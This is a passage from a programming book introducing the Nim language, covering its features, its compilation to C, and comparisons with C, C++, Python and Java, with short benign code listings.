people originally cen- tered around the eastern Adriatic port of Ragusa, or modern Dubrovnik. The illustra- tion is taken from a collection of dress costumes from various countries by Jacques Grasset de Saint-Sauveur (1757–1810), titled Costumes de Différents Pays, published in France in 1797. Each illustration is finely drawn and colored by hand. The rich variety of Grasset de Saint-Sauveur’s collection reminds us vividly of how culturally apart the world’s towns and regions were just 200 years ago. Isolated from each other, people spoke different dialects and languages. In the streets or in the countryside, it was easy to identify where they lived and what their trade or station in life was just by their dress. The way we dress has changed since then and the diversity by region, so rich at the time, has faded away. It is now hard to tell apart the inhabitants of different conti- nents, let alone different towns, regions, or countries. Perhaps we have traded cultural diversity for a more varied personal life—certainly, for a more varied and fast-paced technological life. At a time when it is hard to tell one computer book from another, Manning cele- brates the inventiveness and initiative of the computer business with book covers based on the rich diversity of regional life of two centuries ago, brought back to life by Grasset de Saint-Sauveur’s pictures. Licensed to <null> Part 1 The basics of Nim This part of the book begins your study of the Nim programming language. It doesn’t assume you know much about Nim, so chapter 1 begins by looking at the characteristics of the language, what makes it different from other lan- guages, and how it’s used in the real world. Chapter 2 looks at some of the most commonly used elements of any programming language—the syntax, semantics, and type system—and in doing so teaches you the necessary foundations for writ- ing simple applications in Nim. Licensed to <null> Licensed to <null> 3 Why Nim? Nim is still a relatively new programming language. In fact, you’re holding one of the very first books about it. The language is still not fully complete, but core aspects, like its syntax, the semantics of procedures, methods, iterators, generics, templates, and more, are all set in stone. Despite its newness, there has been signif- icant interest in Nim from the programming community because of the unique set of features that it implements and offers its users. This chapter answers questions that you may ask before learning Nim, such as why you might want to use it. In this chapter, I outline some of the common practi- cal uses of Nim, compare it to other programming languages, and discuss some of its strengths and weaknesses. This chapter covers  What Nim is  Why you should learn about it  Comparing Nim to other programming languages  Use cases  Strengths and weaknesses Licensed to <null> 4 CHAPTER 1 Why Nim? 1.1 What is Nim? Nim is a general-purpose programming language designed to be efficient, expressive, and elegant. These three goals are difficult to achieve at the same time, so Nim’s designers gave each of them different priorities, with efficiency being the most important and elegance being the least. But despite the fact that elegance is relatively unimportant to Nim’s design, it’s still considered during the design process. Because of this, the language remains elegant in its own right. It’s only when trade-offs between efficiency and elegance need to be made that efficiency wins. On the surface, Nim shares many of Python’s characteristics. In particular, many aspects of Nim’s syntax are similar to Python’s, including the use of indentation to delimit scope as well as the tendency to use words instead of symbols for certain oper- ators. Nim also shares other aspects with Python that aren’t related to syntax, such as the highly user-friendly exception tracebacks, shown here: Traceback (most recent call last) request.nim(74) request request.nim(25) getUsers json.nim(837) [] tables.nim(147) [] Error: unhandled exception: key not found: totalsForAllResults [KeyError] You’ll also see many differences, especially when it comes to the semantics of the lan- guage. The major differences lie within the type system and execution model, which you’ll learn about in the next sections. CONTRIBUTING TO NIM The compiler, standard library, and related tools are all open source and written in Nim. The project is available on GitHub, and everyone is encouraged to contribute. Contributing to Nim is a good way to learn how it works and to help with its development. See Nim’s GitHub page for more information: https://github.com/nim-lang/Nim#contributing. 1.1.1 Use cases Nim was designed to be a general-purpose programming language from the outset. As such, it consists of a wide range of features that make it usable for just about any soft- ware project. This makes it a good candidate for writing software in a wide variety of A little bit about Nim’s history Andreas Rumpf started developing Nim in 2005. The project soon gained support and many contributions from the open source community, with many volunteers around the world contributing code via pull requests on GitHub. You can see the current open Nim pull requests at https://github.com/nim-lang/Nim/pulls. Licensed to <null> 5 What is Nim? application domains, ranging from web applications to kernels. In this section, I’ll dis- cuss how Nim’s features and programming support apply in several use cases. Although Nim may support practically any application domain, this doesn’t make it the right choice for everything. Certain aspects of the language make it more suit- able for some categories of applications than others. This doesn’t mean that some applications can’t be written using Nim; it just means that Nim may not support the code styles that are best suited for writing some kinds of applications. Nim is a compiled language, but the way in which it’s compiled is special. When the Nim compiler compiles source code, it first translates the code into C code. C is an old but well supported systems programming language that allows easier and more direct access to the physical hardware of the machine. This makes Nim well suited to systems programming, allowing projects such as operating systems (OSs), compilers, device drivers, and embedded system software to be written. Internet of Things (IoT) devices, which are physical devices with embedded elec- tronics that are connected to the internet, are good targets for Nim, primarily thanks to the power offered by Nim’s ease of use and its systems programming capabilities. A good example of a project making use of Nim’s systems programming features is a very simple OS called NimKernel available on GitHub: https://github.com/ dom96/nimkernel. HOW DOES NIM COMPILE SOURCE CODE? I describe Nim’s unusual compilation model and its benefits in detail in section 1.1.3. Applications written in Nim are very fast; in many cases, just as fast as applications writ- ten in C, and more than thirteen times faster than applications written in Python. Effi- ciency is the highest priority, and some features make optimizing code easy. This goes hand in hand with a soft real-time garbage collector, which allows you to specify the amount of time that should be spent collecting memory. This feature becomes important during game development, where an ordinary garbage collector may slow down the rendering of frames on the screen if it uses too much time collecting mem- ory. It’s also useful in real-time systems that need to run in very strict time frames. Nim can be used alongside other much slower languages to speed up certain performance-critical components. For example, an application written in Ruby that requires certain CPU-intensive calculations can be partially written in Nim to gain a considerable speed advantage. Such speed-ups are important in areas such as scien- tific computing and high-speed trading. Applications that perform I/O operations, such as reading files or sending data over a network, are also well supported by Nim. Web applications, for example, can be written easily using a number of web frameworks like Jester (https://github .com/dom96/jester). Nim’s script-like syntax, together with its powerful, asynchro- nous I/O support, makes it easy to develop these applications rapidly. Command-line applications can benefit greatly from Nim’s efficiency. Also, because Nim applications are compiled, they’re standalone and so don’t require any Licensed to <null> 6 CHAPTER 1 Why Nim? bulky runtime dependencies. This makes their distribution incredibly easy. One such application written in Nim is Nimble; it’s a package manager for Nim that allows users to install Nim libraries and applications. These are just a few use cases that Nim fits well; it’s certainly not an exhaustive list. Another thing to keep in mind is that, at the time of writing, Nim is still in develop- ment, not having yet reached version 1.0. Certain features haven’t been implemented yet, making Nim less suited for some applications. For example, Nim includes a back- end that allows you to write JavaScript applications for your web pages in Nim. This backend works, but it’s not yet as mature as the rest of the language. This will improve with time. Of course, Nim’s ability to compile to JavaScript makes it suitable for full-stack applications that need components that run on a server and in a browser. This is a huge advantage, because code can easily be reused for both the browser and server components of the application. Now that you know a little bit about what Nim is, its history, and some of the appli- cations that it’s particularly well suited for, let’s look at some of Nim’s features and talk about how it works. 1.1.2 Core features In many ways, Nim is very innovative. Many of Nim’s features can’t be found in any other programming language. If you enjoy learning new programming languages, especially those with interesting and unique features, then Nim is definitely the lan- guage for you. In this section, we’ll look at some of the core features of Nim—in particular, the features that make Nim stand out from other programming languages:  A facility called metaprogramming, used for, among many things, molding the language to your needs.  Style-insensitive variable, function, and type names. By using this feature, which is slightly controversial, you can treat identifiers in whatever style you wish, no matter if they were defined using camelCase or snake_case.  A type system that’s rich in features such as generics, which make code easier to write and maintain.  Compilation to C, which allows Nim programs to be efficient and portable. The compilation itself is also very fast.  A number of different types of garbage collectors that can be freely selected or removed altogether. METAPROGRAMMING The most practical, and in some senses unique, feature of Nim is its extensive metaprogramming support. Metaprogramming allows you to read, generate, analyze, and transform source code. It was by no means a Nim invention, but there’s no other programming language with metaprogramming that’s so extensive and at the same Licensed to <null> 7 What is Nim? time easy to pick up as Nim’s. If you’re familiar with Lisp, then you might have some experience with metaprogramming already. With metaprogramming, you treat code as data in the form of an abstract syntax tree. This allows you to manipulate existing code as well as generate brand new code while your application is being compiled. Metaprogramming in Nim is special because languages with good metaprogram- ming features typically belong to the Lisp family of languages. If you’re already famil- iar with the likes of Java or Python, you’ll find it easier to start using Nim than Lisp. You’ll also find it more natural to learn how to use Nim’s metaprogramming features than Lisp’s. Although it’s generally an advanced topic, metaprogramming is a very powerful feature that you’ll get to know in far more detail in chapter 9 of this book. One of the main benefits that metaprogramming offers is the ability to remove boilerplate code. Metaprogramming also allows the creation of domain-specific languages (DSLs); for example, html: body: p: "Hello World" This DSL specifies a bit of HTML code. Depending on how it’s implemented, the DSL will likely be translated into Nim code resembling the following: echo("<html>") echo(" <body>") echo(" <p>Hello World</p>") echo(" </body>") echo("</html>") That Nim code will result in the following output: <html> <body> <p>Hello World</p> </body> </html> With Nim’s metaprogramming, you can define DSLs and mix them freely with your ordinary Nim code. Such languages have many use cases; for example, the preceding one can be used to create HTML templates for your web apps. Metaprogramming is at the center of Nim’s design. Nim’s designer wants to encourage users to use metaprogramming in order to accommodate their style of pro- gramming. For example, although Nim does offer some object-oriented program- ming (OOP) features, it doesn’t have a class definition construct. Instead, anyone wishing to use OOP in Nim in a style similar to that of other languages should use metaprogramming to create such a construct. Licensed to <null> 8 CHAPTER 1 Why Nim? STYLE INSENSITIVITY Another of Nim’s interesting and likely unique features is style insensitivity. One of the hardest things a programmer has to do is come up with names for all sorts of identifi- ers like variables, functions, and modules. In many programming languages, these names can’t contain whitespace, so programmers have been forced to adopt other ways of separating multiple words in a single name. Multiple differing methods were devised, the most popular being snake_case and camelCase. With Nim, you can use snake_case even if the identifier has been defined using camelCase, and vice versa. So you can write code in your preferred style even if the library you’re using adopted a different style for its identifiers. import strutils echo("hello".to_upper()) echo("world".toUpper()) This works because Nim considers the identifiers to_upper and toUpper to be equal. When comparing identifiers, Nim considers the case of the first character, but it doesn’t bother with the case of the rest of the identifier’s characters, ignoring the underscores as well. As a result, the identifiers toUpper and ToUpper aren’t equal because the case of the first character differs. This allows type names to be distin- guished from variable names, because, by convention, type names should start with an uppercase letter and variable names should start with a lowercase letter. The following listing shows one scenario where this convention is useful. type Dog = object age: int let dog = Dog(age: 3) POWERFUL TYPE SYSTEM One of the many characteristics that differentiate programming languages from one another is their type system. The main purpose of a type system is to reduce the opportunities for bugs in your programs. Other benefits that a good type system pro- vides are certain compiler optimizations and better documentation of code. The main categories used to classify type systems are static and dynamic. Most pro- gramming languages fall somewhere between the two extremes and incorporate ideas from both. This is because both static and dynamic type systems require certain trade- offs. Static typing finds more errors at compile time, but it also decreases the speed at which programs can be written. Dynamic typing is the opposite. Listing 1.1 Style insensitivity Listing 1.2 Style insensitivity and type identifiers The strutils module defines a procedure called toUpper. You can call it using snake_case. As it was originally defined, you can call it using camelCase. The Dog type is defined with an uppercase first letter. Only primitive types such as int start with a lowercase letter. A dog variable can be safely defined because it won’t clash with the Dog type. Licensed to <null> 9 What is Nim? Nim is statically typed, but unlike some statically typed programming languages, it also incorporates many features that make development fast. Type inference is a good example of that: types can be resolved by the compiler without the need for you to write the types out yourself (though you can choose to). Because of that, your pro- gram can be bug-free and yet your development speed isn’t hindered. Nim also incor- porates some dynamic type-checking features, such as runtime type information, which allows for the dynamic dispatch of functions. One way that a type system ensures that your program is free of bugs is by verifying memory safety. Some programming languages, like C, aren’t memory safe because they allow programs to access memory that hasn’t been assigned for their use. Other programming languages are memory safe at the expense of not allowing programs to access low-level details of memory, which in some cases is necessary. Nim combines both: it’s memory safe as long as you don’t use any of the unsafe types, such as ptr, in your program, but the ptr type is necessary when interfacing with C libraries. Sup- porting these unsafe features makes Nim a powerful systems programming language. By default, Nim protects you against every type of memory error:  Arrays are bounds-checked at compile time, or at runtime when compile-time checks aren’t possible, preventing both buffer overflows and buffer overreads.  Pointer arithmetic isn’t possible for reference types as they’re entirely managed by Nim’s garbage collector; this prevents issues such as dangling pointers and other memory issues related to managing memory manually.  Variables are always initialized by Nim to their default values, which prevents variables containing unexpected and corrupt data. Finally, one of the most important features of Nim’s type system is the ability to use generic programming. Generics in Nim allow for a great deal of code reuse without sacrificing type safety. Among other things, they allow you to specify that a single func- tion can accept multiple different types. For example, you may have a showNumber procedure that displays both integers and floats on the screen: proc showNumber(num: int | float) = echo(num) showNumber(3.14) showNumber(42) Here, the showNumber procedure accepts either an int type or a float type. The | operator specifies that both int and float can be passed to the procedure. This is a simple demonstration of Nim’s generics. You’ll learn a lot more about Nim’s type system, as well as its generics, in later chapters. COMPILATION I mentioned in the previous section that the Nim compiler compiles source code into C first, and then feeds that source code into a C compiler. You’ll learn a lot more about how this works in section 1.1.3, but right now I’ll talk about some of the many practical advantages of this compilation model. Licensed to <null> 10 CHAPTER 1 Why Nim? The C programming language is very well established as a systems programming language and has been in use for over 40 years. C is one of the most portable pro- gramming languages, with multiple implementations for Windows, Linux, Mac OS, x86, AMD64, ARM, and many other, more obscure OSs and platforms. C compilers sup- port everything from supercomputers to microcontrollers. They’re also very mature and implement many powerful optimizations, which makes C very efficient. Nim takes advantage of these aspects of C, including its portability, widespread use, and efficiency. Compiling to C also makes it easy to use existing C and C++ libraries—all you need to do is write some simple wrapper code. You can write this code much faster by using a tool called c2nim. This tool converts C and C++ header files to Nim code, which wraps those files. This is of great benefit because many popular libraries are written in C and C++. Nim also offers you the ability to build libraries that are compatible with C and C++. This is handy if you want your library to be used from other programming lan- guages. You’ll learn all about wrapping C and C++ libraries in chapter 8. Nim source code can also be compiled into Objective C and JavaScript. The Objec- tive C language is mainly used for iOS software development; by compiling to it, you can write iOS applications natively in Nim. You can also use Nim to develop Android applications by using the C++ compilation backend. JavaScript is the client-side lan- guage used by billions of websites; it’s sometimes called the “assembly language of the web” because it’s the only programming language that’s supported by all the major web browsers. By compiling to JavaScript, you can write client-side applications for web browsers in Nim. Figure 1.1 shows the available Nim backends. You may now be wondering just how fast Nim is at compiling software. Perhaps you’re thinking that it’s very slow; after all, Nim needs to translate source code to an intermediate language first. But in fact it’s fairly fast. As an example, the Nim com- piler, which consists of around 100,000 lines of Nim code, takes about 12 seconds to Nim compiler C C++ Objective C JavaScript Allows interfacing with: Backend: Figure 1.1 Compilation backends Licensed to <null> 11 What is Nim? compile on a MacBook Pro with a 2.7 GHz Intel Core i5 CPU. Each compilation is cached, so the time drops to 5 seconds after the initial compilation. MEMORY MANAGEMENT C and C++ both require you to manually manage memory, carefully ensuring that what you allocate is deallocated once it’s no longer needed. Nim, on the other hand, manages memory for you using a garbage collector. But there are situations when you may want to avoid garbage collectors; they’re considered by many to be inadequate for certain application domains, like embedded systems and games. For this reason, Nim supports a number of different garbage collectors with different applications in mind. The garbage collector can also be removed completely, giving you the ability to manage memory yourself. GARBAGE COLLECTORS Switching between garbage collectors is easy. You just need to specify the --gc:<gc_name> flag during compilation and replace <gc_name> with markandsweep, boehm, or none. This was just a small taste of Nim’s most prominent features. There’s a lot more to it: not just the unique and innovative features, but also the unique composition of fea- tures from existing programming languages that makes Nim as a whole very unique indeed. 1.1.3 How does Nim work? One of the things that makes Nim unique is its implementation. Every programming language has an implementation in the form of an application, which either inter- prets the source code or compiles the source code into an executable. These imple- mentations are called an interpreter and a compiler, respectively. Some languages may have multiple implementations, but Nim’s only implementation is a compiler. The compiler compiles Nim source code by first translating the code to another program- ming language, C, and then passing that C source code to a C compiler, which then compiles it into a binary executable. The executable file contains instructions that indicate the specific tasks that the computer should perform, including the ones spec- ified in the original Nim source code. Figure 1.2 shows how a piece of Nim code is compiled into an executable. The compilers for most programming languages don’t have this extra step; they compile the source code into a binary executable themselves. There are also others that don’t compile code at all. Figure 1.3 shows how different programming languages transform source code into something that can be executed. Executable Nim code Nim compiler C code C compiler Figure 1.2 How Nim compiles source code Licensed to <null> 12 CHAPTER 1 Why Nim? Nim connects to the C compilation process in order to compile the C source code that was generated by it. This means that the Nim compiler depends on an external C compiler, such as GCC or Clang. The result of the compilation is an executable that’s specific to the CPU architecture and OS it was compiled on. This should give you a good idea of how Nim source code is transformed into a working application, and how this process is different from the one used in other pro- gramming languages. Every time you make a change to your Nim source code, you’ll need to recompile it. Now let’s look at Nim’s positive and negative aspects. 1.2 Nim’s benefits and shortcomings It’s important to understand why you might want to use a language, but it’s just as important to learn why that language may not be correct for your particular use case. In this section, I’ll compare Nim to a number of other programming languages, focusing on a variety of characteristics and factors that are typically used in such com- parisons. After that, I’ll discuss some of the areas where Nim still needs to catch up with other languages. 1.2.1 Benefits As you read this book, you may wonder how Nim compares to the programming lan- guages that you’re familiar with. There are many ways to draw a comparison and mul- tiple factors that can be considered, including the language’s execution speed, expressiveness, development speed, readability, ecosystem, and more. This section looks at some of these factors to give you a better idea of the benefits of Nim. Nim code Nim compiler C code C compiler Executable Actions Python code Python interpreter Actions Java code Java compiler JAR file Actions Java virtual machine Figure 1.3 How the Nim compilation process compares to other programming languages Licensed to <null> 13 Nim’s benefits and shortcomings NIM IS EFFICIENT The speed at which applications written in a programming language execute is often used in comparisons. One of Nim’s goals is efficiency, so it should be no surprise that it’s a very efficient programming language. C is one of the most efficient programming languages, so you may be wondering how Nim compares. In the previous section, you learned that the Nim compiler first translates Nim code into an intermediate language. By default, the intermediate lan- guage is C, which suggests that Nim’s performance is similar to C’s, and that’s true. Because of this feature, you can use Nim as a complete replacement for C, with a few bonuses:  Nim has performance similar to C.  Nim results in software that’s more reliable than software written in C.  Nim features an improved type system.  Nim supports generics.  Nim implements an advanced form of metaprogramming. In comparison to C, metaprogramming in Nim is unique, as it doesn’t use a prepro- cessor but is instead a part of the main compilation process. In general, you can expect to find many modern features in Nim that you won’t find in C, so picking Nim as a C replacement makes a lot of sense. Table 1.1 shows the results of a small benchmark test.1 Nim matches C’s speed and is significantly faster than Python. In this benchmark, the Nim application’s runtime matches the speed of the C app and is significantly faster than the app implemented in Python. Micro benchmarks such as this are often unreliable, but there aren’t many alternatives. Nim’s performance matches that of C, which is already one of the most efficient programming languages out there. NIM IS READABLE Nim is a very expressive language, which means that it’s easy to write Nim code that’s clear to both the compiler and the human reader. Nim code isn’t cluttered with the curly brackets and semicolons of C-like programming languages, such as JavaScript 1 You can read more about this benchmark test on Dennis Felsing’s HookRace blog: http://hookrace.net/ blog/what-is-special-about-nim/#good-performance. Table 1.1 Time taken to find which numbers from 0 to 100 million are prime Programming language Time (seconds) C 2.6 Nim 2.6 Python (CPython) 35.1 Licensed to <null> 14 CHAPTER 1 Why Nim? and C++, nor does it require the do and end keywords that are present in languages such as Ruby. Compare this expressive Nim code with the less-expressive C++ code for i in 0 .. <10: echo(i) #include <iostream> using namespace std; int main() { for (int i = 0; i < 10; i++) { cout << i << endl; } return 0; } The Nim code is more readable and far more compact. The C++ code contains many elements that are optional in Nim, such as the main function declaration, which is entirely implicit in Nim. Nim is easy to write but, more importantly, it’s also easy to read. Good code read- ability goes a long way. For example, it makes debugging easier, allowing you to spend more time writing beautiful Nim code, cutting down your development time. NIM STANDS ON ITS OWN This has been mentioned already, but it’s worth revisiting to describe how other lan- guages compare, and in particular why some require a runtime. Compiled programming languages such as Nim, C, Go, D, and Rust produce an executable that’s native to the OS on which the compiler is running. Compiling a Nim application on Windows results in an executable that can only be executed on Win- dows. Similarly, compiling it on Mac OS results in an executable that can only be exe- cuted on Mac OS. The CPU architecture also comes into play: compilation on ARM results in an executable that’s only compatible with ARM CPUs. This is how things work by default, but it’s possible to instruct Nim to compile an executable for a differ- ent OS and CPU combination through a process known as cross-compilation. Cross-compilation is usually used when a computer with the desired architecture or OS is unavailable, or the compilation takes too long. One common use case would be compiling for ARM devices such as the Raspberry Pi, where the CPU is typically slow. More information about cross-compilation can be found in the Nim Compiler User Guide: http://nim-lang.org/docs/nimc.html#cross-compilation. Among other things, the JVM was created to remove the need for cross-compilation. You may have heard the phrase “write once, run anywhere.” Sun Microsystems created Listing 1.3 Iterating from 0 to 9 in Nim Listing 1.4 Iterating from 0 to 9 in C++ Licensed to <null> 15 Nim’s benefits and shortcomings this slogan to illustrate Java’s cross-platform benefits. A Java application only needs to be compiled once, and the result of this compilation is a JAR file that holds all the com- piled Java classes. The JAR file can then be executed by the JVM to perform the pro- grammed actions on any platform and architecture. This makes the JAR file a platform- and architecture-agnostic executable. The downside to this is that in order to run these JAR files, the JVM must be installed on the user’s system. The JVM is a very big depen- dency that may contain bugs and security issues. But on the other hand, it does allow the Java application to be compiled only once. Python, Ruby, and Perl are similar. They also use a virtual machine (VM) to execute code. In Python’s case, a VM is used to optimize the execution of Python code, but it’s mostly hidden away as an implementation detail of the Python interpreter. The Python interpreter parses the code, determines what actions that code is describing, and immediately executes those actions. There’s no compilation step like with Java, C, or Nim. But the advantages and disadvantages are mostly the same as the JVM’s; there’s no need for cross-compilation, but in order to execute a Python application, the system needs to have a Python interpreter installed. Unfortunately, in many cases, virtual machines and interpreters cause more problems than they solve. The number of common CPU architectures and the most popular OSs is not that large, so compiling for each of them isn’t that difficult. In contrast, the source code for applications written in interpreted languages is often distributed to the user, and they’re expected to install the correct version of the interpreter or vir- tual machine. This can result in a lot of problems. One example of the difficulty associated with distributing such applications is the recent introduction of Python 3. Because it’s not backward compatible with the previ- ous version, it has caused many issues for software written originally in Python 2. Python 3 was released in 2008, and as of this writing, there are still libraries written for Python 2 that don’t work with the Python 3 interpreter.2 This wouldn’t be a problem with a compiled language because the binaries would still continue to work. The lightweight nature of Nim should make it particularly appealing, especially in contrast to some of the languages mentioned in this section. 2 See the Python 3 Readiness page for a list of Python 3–ready packages: http://py3readiness.org/. Write once, run anywhere Similar to the “write once, run anywhere” slogan, other programming languages adopted the “write once, compile anywhere” philosophy, giving a computer program the ability to be compiled on all platforms without the need to modify its source code. This applies to languages such as C, Pascal, and Ada. But these languages still require platform-specific code when dealing with more-specialized features of the OS, such as when creating new threads or downloading the contents of a web page. Nim goes a step further; its standard library abstracts away the differences between OSs so you can use a lot of the features that modern OSs offer. Licensed to <null> 16 CHAPTER 1 Why Nim? NIM IS FLEXIBLE There are many different styles that software can be written in. A programming para- digm is a fundamental style of writing software, and each programming language sup- ports a different set of paradigms. You’re probably already familiar with one or more of them, and at the very least you know what object-oriented programming (OOP) is because it’s taught as part of many computer science courses. Nim is a multi-paradigm programming language. Unlike some popular program- ming languages, Nim doesn’t focus on the OOP paradigm. It’s mainly a procedural programming language, with varying support for OOP, functional, declarative, concur- rent, and other programming styles. That’s not to say that OOP isn’t well supported. OOP as a programming style is sim- ply not forced on you. Nim supports common OOP features, including inheritance, polymorphism, and dynamic dispatch. To give you a better idea of what Nim’s primary paradigm looks like, let’s look at the one big difference between the OOP paradigm and the procedural paradigm. In the OOP paradigm, methods and attributes are bound to objects, and the methods operate on their own data structure. In the procedural paradigm, procedures are standalone entities that operate on data structures. This may be hard for you to visual- ize, so let’s look at some code examples to illustrate it. SUBROUTINE TERMINOLOGY In this subsection I mention methods and proce- dures. These are simply different names for subroutines or functions. Method is the term used in the context of OOP, procedure is used in procedural program- ming, and function is used in functional programming. The following code listings show the same application. The first is written in Python using the OOP style. The second is written in Nim using the procedural style. class Dog: def bark(self): print("Woof!") dog = Dog() dog.bark() type Dog = object proc bark(self: Dog) = echo("Woof!") let dog = Dog() dog.bark() Listing 1.5 Barking dog modeled using OOP in Python Listing 1.6 Barking dog modeled using procedural programming in Nim The bark method is associated with the Dog class by being defined within it. The bark method can be directly invoked on the dog object by accessing the method via the dot. The bark procedure isn’t directly associated with the Dog type by being defined within it. This procedure could also easily be defined outside this module. The bark procedure can still be directly invoked on the dog object, despite the fact that the procedure isn’t associated with the Dog type as it is in the Python version. Licensed to <null> 17 Nim’s benefits and shortcomings In the Python code, the bark method is placed under the class definition. In the Nim code, the bark method (called a procedure in Nim) isn’t bound to the Dog type in the same way as it is in the Python code; it’s independent of the definition of the Dog type. Instead, its first argument specifies the type it’s associated with. You could also implement something similar in Python, but it wouldn’t allow you to call the bark method in the same manner. You’d be forced to call it like so: bark(dog), explicitly passing the dog variable to the method as its first argument. The reason this is not the case with Nim is because Nim rewrites dog.bark() to bark(dog), making it possible for you to call methods using the traditional OOP style without hav- ing to explicitly bind them to a class. This ability, which is referred to as Uniform Function Call Syntax (UFCS), has mul- tiple advantages. It allows you to create new procedures on existing objects externally and allows procedure calls to be chained. CLASSES IN NIM Defining classes and methods in Nim in a manner similar to Python is also possible. Metaprogramming can be used to do this, and the community has already created numerous libraries that emulate the syntax. See, for example, the Nim OOP macro: https://nim-by-example.github .io/oop_macro/. Another paradigm that Nim supports is the functional programming (FP) paradigm. FP is not as popular as OOP, though in recent years it has seen a surge in popularity. FP is a style of programming that primarily avoids the changing of state and the use of mutable data. It uses certain features such as first-class functions, anonymous func- tions, and closures, all of which Nim supports. Let’s look at an example to see the differences between programming in a proce- dural style and a functional one. The following code listings show code that separates people’s full names into first and last names. Listing 1.7 shows this done in a func- tional style and listing 1.8 in a procedural style. import sequtils, future, strutils let list = @["Dominik Picheta", "Andreas Rumpf", "Desmond Hume"] list.map( (x: string) -> (string, string) => (x.split[0], x.split[1]) ).echo Listing 1.7 Iterating over a sequence using functional programming in Nim Imports the sequtils, future, and strutils modules. These modules define the map, ->, and split procedures respectively. Defines new list variable containing a list of names The map procedure is used to iterate over the list. The map procedure takes a closure that specifies how to modify each item in the list. The modified list is then displayed on the screen. Licensed to <null> 18 CHAPTER 1 Why Nim? import strutils let list = @["Dominik Picheta", "Andreas Rumpf", "Desmond Hume"] for name in list: echo((name.split[0], name.split[1])) The functional version uses the map procedure to iterate over the list variable, which contains a list of names. The procedural version uses a for loop. Both versions split the name into a first and last name. They then display the result in a tuple. (I’m throw- ing a lot of new terms at you here. Don’t worry if you aren’t familiar with them; I’ll introduce you to them in chapter 2.) The output of the code listings will look similar to this: (Field0: Dominik, Field1: Picheta) (Field0: Andreas, Field1: Rumpf) (Field0: Desmond, Field1: Hume) THE MEANING OF FIELD0 AND FIELD1 Field0 and Field1 are just default field names given to tuples when a field name isn’t specified. Nim is incredibly flexible and allows you to write software in many different styles. This was just a small taste of the most popular paradigms supported by Nim and of how they compare to Nim’s main paradigm. Nim also supports more-obscure para- digms, and support for others can be introduced easily using metaprogramming. NIM CATCHES ERRORS AHEAD OF TIME Throughout this chapter, I’ve been comparing Python to Nim. While Nim does take a lot of inspiration from Python, the two languages differ in one important way: Python is dynamically typed and Nim is statically typed. As a statically typed language, Nim provides a certain level of type safety that dynamically typed programming languages don’t provide. Although Nim is statically typed, it feels very dynamic because it supports type inference and generics. You’ll learn more about these features later in the book. For now, think of it as a way to retain the high development speed that dynamically typed programming languages allow, while also providing extra type safety at compile time. In addition to being statically typed, Nim implements an exception-tracking mech- anism that is entirely opt-in. With exception tracking, you can ensure that a procedure won’t raise any exceptions, or that it will only raise exceptions from a predefined list. This prevents unexpected crashes by ensuring that you handle exceptions. Listing 1.8 Iterating over a sequence using a procedural style in Nim Imports the strutils module, which defines the split procedure A for loop is used to iterate over each item in the list. The code inside the for loop is executed during each iteration; in this case, each name is split into two and displayed as a tuple. Licensed to <null> 19 Nim’s benefits and shortcomings COMPARING DIFFERENT PROGRAMMING LANGUAGE FEATURES Throughout this section, I’ve compared Nim to various other programming lan- guages. I’ve discussed efficiency, the dependencies of the resulting software, the flexi- bility of the language, and the language’s ability to catch errors before the software is deployed. Based on these characteristics alone, Nim is an excellent candidate for replacing some of the most popular programming languages out there, including Python, Java, C, and more. For reference, table 1.2 lists different programming languages and shows some of the features that they do and don’t support. Table 1.2 Common programming language features Programming language Type system Generics Modules GC Syntax Metaprogramming Execution Nim Static and strong Yes Yes Yes, multiple and optionala a Nim supports ref counting, a custom GC, and Boehm. Nim also allows the GC to be switched off altogether. Python- like Yes Compiled binary C Static and weak No No No C Very limitedb b Some very limited metaprogramming can be achieved via C’s preprocessor. Compiled binary C++ Static and weak Yes No No C-like Limitedc c C++ only offers metaprogramming through templates, limited CTFE (compile-time function execution), and no AST macros. Compiled binary D Static and strong Yes Yes Yes, optional C-like Yes Compiled binary Go Static and strong No Yes Yes C-like No Compiled binary Rust Static and strong Yes Yes No C-like Limitedd d Rust has some support for declarative macros through its macro_rules! directive, but no built-in procedural macros that allow you to transform the AST except for compiler plugins, and no CTFE. Compiled binary Java Static and strong Yes Yes Yes, multiplee e See the “Oracle JVM Garbage Collectors Available From JDK 1.7.0_04 And After” article on Fasterj: www.fasterj.com/ articles/oraclecollectors1.shtml. C-like No Executed via the JVM Python Dynamic and strong N/A Yes Yes Python Yesf f You can modify the behavior of functions, including manipulating their AST, using the ast module, but only at runtime. Executed via the Python interpreter Lua Dynamic and weak N/A Yes Yes Modula- likeg g Lua uses do and end keywords to delimit scope. Yes via Metalua Executed via the Lua inter- preter or Lua JIT compiler Licensed to <null> 20 CHAPTER 1 Why Nim? 1.2.2 Areas where Nim still needs to improve Nothing in this world is perfect, and programming languages are no exception. There’s no programming language that can solve every problem in the most reliable and rapid manner. Each programming language has its own strengths and weak- nesses, and Nim is no exception. So far, I’ve been focusing on Nim’s strengths. Nim has many more fine aspects that I haven’t yet mentioned, and you’ll discover them throughout this book. But it would be unfair to only talk about Nim’s strengths. Nim is still a young programming lan- guage, so of course it can still improve. NIM IS STILL YOUNG AND IMMATURE All programming languages go through a period of immaturity. Some of Nim’s newer and more-advanced features are still unstable. Using them can result in buggy behav- ior in the compiler, such as crashes, though crashes don’t happen very often. Impor- tantly, Nim’s unstable features are opt-in, which means that you can’t accidentally use them. Nim has a package manager called Nimble. Where other programming languages may have thousands of packages available, Nim only has about 500. This means that you may need to write libraries for certain tasks yourself. This situation is, of course, improving, with new packages being created by the Nim community every day. In chapter 5, I’ll show you how to create your own Nimble packages. NIM’S USER BASE AND COMMUNITY IS STILL QUITE SMALL Nim has a small number of users compared to the mainstream programming lan- guages. The result is that few Nim jobs exist. Finding a company that uses Nim in pro- duction is rare, but when it does happen, the demand for good Nim programmers can make the salaries quite high. On the other hand, one of the most unique things about Nim is that its develop- ment is exceptionally open. Andreas Rumpf (Nim’s creator) and many other Nim developers (including me) openly discuss Nim’s future development plans on GitHub and on IRC. Anyone is free to challenge these plans and, because the community is still quite small, it’s easy to do so. IRC is also a great place for newcomers to ask ques- tions about Nim and to meet fellow Nim programmers. IRC Take a look at appendix A for details on how to connect to Nim’s IRC channel. These problems are temporary. Nim has a bright future ahead of it, and you can help shape it. This book teaches you how. 1.3 Summary  Created by Andreas Rumpf in 2005, Nim is still a very new programming lan- guage; it hasn’t yet reached version 1.0. Because Nim is so new, it’s a bit imma- ture and its user base is relatively small. Licensed to <null> 21 Summary  Nim is efficient, expressive, and elegant (in that order).  Nim is an open source project that’s developed entirely by the Nim community of volunteers.  Nim is general-purpose programming language and can be used to develop anything from web applications to kernels.  Nim is a compiled programming language that compiles to C and takes advan- tage of 